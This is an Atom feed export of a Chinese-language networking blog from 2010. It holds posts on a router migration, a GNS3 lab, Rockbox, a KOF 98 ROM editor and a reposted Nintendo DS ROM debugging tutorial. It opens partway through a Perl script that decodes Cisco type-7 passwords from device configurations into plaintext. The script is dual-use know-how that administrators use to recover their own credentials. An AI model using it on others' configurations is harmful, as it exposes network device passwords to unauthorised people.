);&lt;br /&gt;&lt;span style="color: navy; font-weight: bold;"&gt;while&lt;/span&gt; (&lt;span style="color: black;"&gt;&amp;lt;&amp;gt;&lt;/span&gt;) &lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: navy; font-weight: bold;"&gt;if&lt;/span&gt; (&lt;span style="color: blue;"&gt;/(password|md5)\s+7\s+([\da-f]+)/io&lt;/span&gt;) &lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: navy; font-weight: bold;"&gt;if&lt;/span&gt; (&lt;span style="color: black;"&gt;!&lt;/span&gt;(&lt;span style="color: black;"&gt;length&lt;/span&gt;(&lt;span style="color: black;"&gt;$2&lt;/span&gt;) &lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: blue;"&gt;1&lt;/span&gt;)) &lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;$ep&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: black;"&gt;$2&lt;/span&gt;; &lt;span style="color: black;"&gt;$dp&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;""&lt;/span&gt;;&lt;br /&gt;(&lt;span style="color: black;"&gt;$s&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: black;"&gt;$e&lt;/span&gt;) &lt;span style="color: black;"&gt;=&lt;/span&gt; (&lt;span style="color: black;"&gt;$2&lt;/span&gt; &lt;span style="color: black;"&gt;=~&lt;/span&gt;&lt;span style="color: blue;"&gt; /^(..)(.+)/o&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: navy; font-weight: bold;"&gt;for&lt;/span&gt; (&lt;span style="color: black;"&gt;$i&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;0&lt;/span&gt;; &lt;span style="color: black;"&gt;$i&lt;/span&gt; &lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: black;"&gt;length&lt;/span&gt;(&lt;span style="color: black;"&gt;$e&lt;/span&gt;); &lt;span style="color: black;"&gt;$i&lt;/span&gt;&lt;span style="color: black;"&gt;+=&lt;/span&gt;&lt;span style="color: blue;"&gt;2&lt;/span&gt;) &lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;$dp&lt;/span&gt; &lt;span style="color: black;"&gt;.=&lt;/span&gt; &lt;span style="color: black;"&gt;sprintf&lt;/span&gt; &lt;span style="color: blue;"&gt;"%c"&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;span style="color: black;"&gt;hex&lt;/span&gt;(&lt;span style="color: black;"&gt;substr&lt;/span&gt;(&lt;span style="color: black;"&gt;$e&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;span style="color: black;"&gt;$i&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;span style="color: blue;"&gt;2&lt;/span&gt;))&lt;span style="color: black;"&gt;^&lt;/span&gt;&lt;span style="color: black;"&gt;$xlat&lt;/span&gt;&lt;span style="color: black;"&gt;[&lt;/span&gt;&lt;span style="color: black;"&gt;$s&lt;/span&gt;&lt;span style="color: black;"&gt;++&lt;/span&gt;&lt;span style="color: black;"&gt;];&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;s/7\s+$ep/$dp/&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;print&lt;/span&gt;;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8225966415969535740?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8225966415969535740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8225966415969535740' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8225966415969535740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8225966415969535740'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/cisco-type-7-password-decryption.html' title='Cisco type-7 password decryption'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3095681265837085017</id><published>2010-09-21T21:10:00.001+08:00</published><updated>2010-11-09T16:40:22.959+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Rom Hack'/><title type='text'>KOF 98 Editor 0.1</title><content type='html'>闲手动改麻烦，自己写的工具，不过还差的很远，BUG很多，而且还不能修改……囧&lt;br /&gt;&lt;br /&gt;不过马上要去香港考CCIE Security，短时间内可能没时间更新了……囧囧 &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.box.net/shared/o9h17ufljt" style="color: blue;"&gt;下载地址&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3095681265837085017?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3095681265837085017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3095681265837085017' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3095681265837085017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3095681265837085017'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/kof-98-editor-01.html' title='KOF 98 Editor 0.1'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5318594335774223088</id><published>2010-09-21T13:12:00.000+08:00</published><updated>2010-09-21T13:12:30.807+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><title type='text'>对于出差的人，你们有福了</title><content type='html'>向打包帝膜拜&lt;br /&gt;&lt;embed src="http://player.56.com/v_NTQ5MzAwMDk.swf"  type="application/x-shockwave-flash" width="480" height="395" allowNetworking="all" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5318594335774223088?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5318594335774223088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5318594335774223088' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5318594335774223088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5318594335774223088'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/blog-post.html' title='对于出差的人，你们有福了'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4622220343150585422</id><published>2010-09-15T10:29:00.006+08:00</published><updated>2010-09-15T10:35:30.430+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Case note'/><title type='text'>出口路由器升级工程 Part.1</title><content type='html'>9月7号凌晨完成了两台出口路由器的升级工作——由Cisco GSR12008升级到Juniper T1600。前后分两次完成，中间由于机房供电的问题，拖了大概有半年左右。&lt;br /&gt;&lt;br /&gt;下面是一个简化的拓扑，首先升级的是R1，然后是R2。第一次升级从2点开始，一直搞到7点才完工。第二次同样的时间开始，结果3：20就完成了。&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TIhH7zRig_I/AAAAAAAAAcE/hfKxd8umt78/s1600/%E7%BB%98%E5%9B%BE1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="288" src="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TIhH7zRig_I/AAAAAAAAAcE/hfKxd8umt78/s320/%E7%BB%98%E5%9B%BE1.png" style="cursor: move;" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;比较两次实施方案，不能不说第一次方案过于小心了，为了保护一点点的流量费了很大的力气，浪费了很多时间。现在回想起来，觉得十分的不值得。&lt;br /&gt;&lt;br /&gt;我觉得还是有必要再重新审视一下这次的方案。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-large;"&gt;一. 基本情况介绍&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;整个网络总结下来有以下特点：&lt;br /&gt;&lt;br /&gt;1. 与出口路由器（图中的R1与R2相连的城域网设备，以下称为R3，R4）向城域网下各个分机房发送默认路由；&lt;br /&gt;&lt;br /&gt;2. R3，R4使用默认路由指向与自己相连的出口路由器；&lt;br /&gt;&lt;br /&gt;3. 出口路由器使用BGP接入互联网；&lt;br /&gt;&lt;br /&gt;4. 出口路由器通过一系列的静态路由指向城域网；&lt;br /&gt;&lt;br /&gt;5. 整个网络使用了MPLS/VPN，所有用户的流量都在一个VPN内部；&lt;br /&gt;&lt;br /&gt;6. 城域网的四台路由器知道MPLS/VPN内部所有的路由；&lt;br /&gt;&lt;br /&gt;7. R3，R4为各个MP-BGP的邻居的RR；&lt;br /&gt;&lt;br /&gt;其他详细的信息，可以参看后面给出的配置以及gns3上的模拟文件来使用。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4622220343150585422?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4622220343150585422/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4622220343150585422' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4622220343150585422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4622220343150585422'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/part1.html' title='出口路由器升级工程 Part.1'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Lr7AKaVWcQI/TIhH7zRig_I/AAAAAAAAAcE/hfKxd8umt78/s72-c/%E7%BB%98%E5%9B%BE1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2076573916298559846</id><published>2010-09-10T11:43:00.031+08:00</published><updated>2010-10-09T16:40:20.285+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>GNS3实验拓扑</title><content type='html'>为了方便在电脑上做实验，结合自己CCIE的实验拓扑，修改成了以下这个拓扑。&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img135.imageshack.us/img135/2305/29830834.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="209" src="http://img135.imageshack.us/img135/2305/29830834.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;图片点击可放大&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img291.imageshack.us/img291/4364/85215817.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="318" src="http://img291.imageshack.us/img291/4364/85215817.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;span style="font-size: x-small;"&gt;图片点击可放大&lt;/span&gt;&lt;/div&gt;&amp;nbsp; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img205.imageshack.us/img205/6159/70446264.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="205" src="http://img205.imageshack.us/img205/6159/70446264.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;span style="font-size: x-small;"&gt;图片点击可放大&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img844.imageshack.us/img844/6190/83642935.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://img844.imageshack.us/img844/6190/83642935.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;图片点击可放大&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;除此之外，Sw3的Fa0/9连接到ACS服务器，Sw4的Fa0/9连接到TestPC。&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;有了这个拓扑，基本上CCIE R/S，SP，Security的实验都可以完成。同时在一些情况下可以用来测试方案。&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;GNS3的文件下：&lt;a href="http://www.box.net/shared/9pctiy5pfq" style="color: blue;"&gt;点此下载&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2076573916298559846?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2076573916298559846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2076573916298559846' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2076573916298559846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2076573916298559846'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/gns3.html' title='GNS3实验拓扑'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8460037879291598077</id><published>2010-09-09T10:01:00.001+08:00</published><updated>2010-09-09T14:45:27.460+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualization'/><title type='text'>Virtual WAN Optimization – Blue Coat presentation</title><content type='html'>简单明了的介绍了virtualized WAN Optimization。&lt;br /&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,47,0" height="443" id="flashObj" width="590"&gt;&lt;param name="movie" value="http://c.brightcove.com/services/viewer/federated_f9?isVid=1&amp;isUI=1" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;param name="flashVars" value="videoId=77063252001&amp;playerID=110968511001&amp;playerKey=AQ%2E%2E,AAAAAEofxgI%2E,mZ1_-nOy0shRNxxJ-Ma23dH0NWyzS3KK&amp;domain=embed&amp;dynamicStreaming=true" /&gt;&lt;param name="base" value="http://admin.brightcove.com" /&gt;&lt;param name="seamlesstabbing" value="false" /&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;param name="swLiveConnect" value="true" /&gt;&lt;param name="allowScriptAccess" value="always" /&gt;&lt;embed src="http://c.brightcove.com/services/viewer/federated_f9?isVid=1&amp;isUI=1" bgcolor="#FFFFFF" flashVars="videoId=77063252001&amp;playerID=110968511001&amp;playerKey=AQ%2E%2E,AAAAAEofxgI%2E,mZ1_-nOy0shRNxxJ-Ma23dH0NWyzS3KK&amp;domain=embed&amp;dynamicStreaming=true" base="http://admin.brightcove.com" name="flashObj" width="590" height="443" seamlesstabbing="false" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" swLiveConnect="true" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8460037879291598077?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8460037879291598077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8460037879291598077' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8460037879291598077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8460037879291598077'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/virtual-wan-optimization-blue-coat.html' title='Virtual WAN Optimization – Blue Coat presentation'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8632433739811859482</id><published>2010-09-06T11:15:00.001+08:00</published><updated>2010-11-30T11:24:06.534+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>Rockbox使用感受</title><content type='html'>实在是对ipod的格式支持感到无语了，我大量的音乐都是ape格式的，要放进去还要转码。同时itunes在windows上简直就是傻瓜，每次用都弄得我欲仙欲死……&lt;br /&gt;&lt;br /&gt;想到以前装过rockbox，不过由于电池使用时间的问题卸载了。去google了一圈回来，发现电池时间大有改善。于是重新ipod上装了rockbox，感觉非常的好。我个人想要的功能全有了。&lt;br /&gt;&lt;br /&gt;总结下来，有如下一些优点：&lt;br /&gt;&lt;ol&gt;&lt;li&gt;播放列表非常好用。原版系统还需要itunes（或者其他软件）才能创建，实在太麻烦了。而且那傻瓜的同步功能，不说也罢。&lt;/li&gt;&lt;li&gt;支持格式多。这个也就属于废话了，原版能支持几个格式……&lt;/li&gt;&lt;li&gt;文件管理功能。如果你发现放进去的不喜欢，直接在rockbox里面删除了就行了，itunes再次无视。&lt;/li&gt;&lt;li&gt;传输方便。插上数据线，直接像U盘一样把需要的东西复制进去就行了，itunes……苹果你能不要这么烦吗？&lt;/li&gt;&lt;li&gt;其他。杂七杂八的一些功能吧，总的来说只要不是忠实苹果粉，都能体会到rockbox的好处。&lt;/li&gt;&lt;/ol&gt;缺点嘛，就是默认的字体不支持中文。不过我基本很少听中文歌，对我也不太所谓。即使需要安装字体，官方也提供了很好用的工具。&lt;br /&gt;&lt;br /&gt;如果你有ipod，而且对那个无聊透顶的系统和工作方式感到厌倦，那么推荐你使用rockbox。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8632433739811859482?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8632433739811859482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8632433739811859482' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8632433739811859482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8632433739811859482'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/rockbox.html' title='Rockbox使用感受'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5532127518074649</id><published>2010-08-25T23:14:00.000+08:00</published><updated>2010-08-25T23:14:24.500+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Rom Hack'/><title type='text'>[转]DS ROM深度HACK教程--动态调试操作挂钩篇</title><content type='html'>原文地址：&lt;a href="http://www.ndsbbs.com/read.php?tid=180038"&gt;http://www.ndsbbs.com/read.php?tid=180038&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;最近因为方向键坏掉~又想玩RY传说~于是开始着手研究DS的操作挂钩~&lt;br /&gt;简单点说~就是把RY传说这个本来不能用触摸的游戏改成全程触摸版~&lt;br /&gt;&lt;br /&gt;〇，修改必备&lt;br /&gt;1,必备工具:IDEAS模拟器（本人用的1020版~因为速度比1024快~），16位修改器，静态反汇编工具，编译工具&lt;br /&gt;之所以要IDEAS是因为在主流模拟器里只有IDEAS提供免费的调试功能~虽然十分的简陋（可以说啥功能都没有）~但是总比没有要强几倍~&lt;br /&gt;16位修改器和静态反汇编工具~本人推荐用CT2的那个专为DS ROM优化后的版本~那个版本直接支持ARM指令反汇编~&lt;br /&gt;&lt;br /&gt;一，思路分析&lt;br /&gt;要挂钩操作无疑要做以下几件事情&lt;br /&gt;1,找到按键的程序可识别地址&lt;br /&gt;2,找到触摸屏的程序可识别地址&lt;br /&gt;3,找到合适的地方下断&lt;br /&gt;为了解决前2项问题~首先想到的最简单的方法当然是用EC直接搜~&lt;br /&gt;&lt;br /&gt;二，EC搜索&lt;br /&gt;相信有一定模糊搜索基础的人可以很快找到方案来搜索按键判定和触摸判定~也就是说~这个步骤理论上来说应该是一点难度没有的可以快速解决的~可是事实上的情形却复杂的多~&lt;br /&gt;1,按键部分:用EC顺利搜索出几个地址表现出按键的变化~但是试着锁定后发现~无论哪一个都无法对游戏内容产生影响~也就是说用EC搜到的这几个变量仅仅是程序可表现的~而非程序可识别的~简单点说就是你可以看他来判断按了啥键~但是不能通过改变他来改变按的键~&lt;br /&gt;2,触摸部分:用EC直接啥都搜不到~&lt;br /&gt;在按键和触摸2个方面皆碰壁~给人的唯一结论是~用这种只就其表不问其根的方法来搜索本质就行不通~于是下面俺开始介绍文章的正式部分~&lt;br /&gt;通过DEBUGGER来动态调试ROM~&lt;br /&gt;&lt;br /&gt;三，关于DS的输入识别所必须具备的知识&lt;br /&gt;别以为这个只是科普讲座~这个可是后面DEBUG过程中最重要的依据~所以请仔细看过这段~&lt;br /&gt;&lt;br /&gt;DS是由2个处理器同时处理程序的系统~ARM9为主处理器~ARM7为协处理器~ARM9用来处理游戏的绝大部分信息~而ARM7辅助处理声音~I/O等一些底层信息~&lt;br /&gt;关于ARM9和ARM7的分工我暂不多说~但是需要注意的是~在很多底层方面的东西ARM9是无法正常访问的~&lt;br /&gt;&lt;br /&gt;接着说说DS的按键和触摸屏输入的过程~&lt;br /&gt;按键部分~DS有一个16位的只读按键寄存器~其作用就是识别按键并将按键信息存放其内~而这个寄存器映射在内存空间上的地址是0x04000130 意思就是说~游戏只要检查这个地址的值~就可以很轻松的判定所按的键了~&lt;br /&gt;不 过事实上还少许有一点麻烦的部分~就是这个寄存器所对应的键并不是DS上的全部键~X,Y键并未被对应在这个寄存器中~而是另外一个入口为 0x04000136的只读寄存器~有趣的是~这个寄存器除了对应X,Y键以外~还对应了触摸屏的状态~也就是说要检查触摸屏也是要访问这个寄存器的~&lt;br /&gt;&lt;br /&gt;或许你会说~那么只要检查这2个寄存器岂不就可以很轻松的获得按键和触屏信息了~&lt;br /&gt;但是事实上有2点问题~&lt;br /&gt;1,这2个寄存器都是只读寄存器~也就是说虽然可以得到信息~但是仍然改不了~&lt;br /&gt;2,最烦躁的问题在于~0x04000136这个寄存器是仅能由ARM7访问的~而通常游戏的程序是写在ARM9当中的~……&lt;br /&gt;&lt;br /&gt;因此现在面临的问题就是:X,Y,触摸屏无法通过ARM9访问~&lt;br /&gt;那么现在那么多DS游戏又是怎样访问这些部分的呢~&lt;br /&gt;其实很简单~在ARM7程序中会有一部分代码专门用来处理这个寄存器~并将按键和触摸信息插入一个叫IPC的共享内存结构中上报给ARM9&lt;br /&gt;也就是说这样问题就转换到了寻找IPC地址和按键识别程序所处地址了~&lt;br /&gt;&lt;br /&gt;四，调试程序必备知识&lt;br /&gt;这一段不同于上面一段主要介绍理论~这部分主要要介绍的是调试一个程序所常常会用到的一些操作技巧~&lt;br /&gt;&lt;br /&gt;作为一个调试器（DEBUGGER）最重要的几个功能在于:&lt;br /&gt;1,跟踪 2,下断点 3,动态修改状态&lt;br /&gt;然而IDEAS提供的这个免费DEBUGGER很不幸的少了最方便的一个功能~下断~……&lt;br /&gt;这无疑会给我们的工作带来很多不必要的麻烦~但是这些麻烦往往也并非不可解决~&lt;br /&gt;&lt;br /&gt;接下来我要讲讲调试最基础操作~跟踪~所具有的一些技巧~&lt;br /&gt;1,步入:简单的来说就是顺着程序的正常流程一条一条的往下执行~这个流程包括跳转和调用~这是任何一个调试器都肯定具备的功能~（IDEAS对应快捷键F8）&lt;br /&gt;2,步过:这个在大致上~和上面一种差不多~但是有个很根本的区别:步过的话在碰到调用指令的时候并不会跟踪进入所调用的函数~而是一次执行完该函数~在调用指令的物理下一行才停止下来~事实上这种跟踪模式比起步入来说~用的更加广泛~&lt;br /&gt;但是十分不幸的是~……IDEAS又没有步过功能~……所以这时候我们就要找到代替手段~&lt;br /&gt;&lt;br /&gt;IDEAS除了步入以外~唯一提供的一个功能是~运行到指定行~（对应F6）&lt;br 